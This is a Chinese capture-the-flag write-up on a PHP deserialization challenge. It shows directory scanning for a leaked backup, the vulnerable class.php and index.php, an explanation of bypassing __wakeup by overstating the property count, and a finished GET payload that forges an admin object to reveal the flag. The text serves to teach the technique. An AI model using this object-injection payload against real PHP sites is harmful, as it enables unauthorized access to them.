打开网站提示说有备份文件
dirsearch扫描
下载www.zip查看
重要文件class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
index.php中有这样几行关键代码
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
PHP反序列化漏洞原理与复现
审计代码我们得知,获取flag得要username是admin,password是100
还必须绕过__wakeup()函数
function __wakeup(){
$this->username = 'guest';
}
绕过的方法是当属性个数值大于真实属性个数时,会跳过__wakeup()函数的执行
还有值得注意的,私有属性Name两边有两个空字节,url编码是%00
PHP——serialize()序列化类变量public、protected、private的区别
<?php
class Name{
private $username='admin';
private $password=100;
}
$a =new Name();
echo serialize($a)
?>
最终的payload
?select=O:4:“Name”:3:{s:14:“%00Name%00username”;s:5:“admin”;s:14:“%00Name%00password”;i:100;}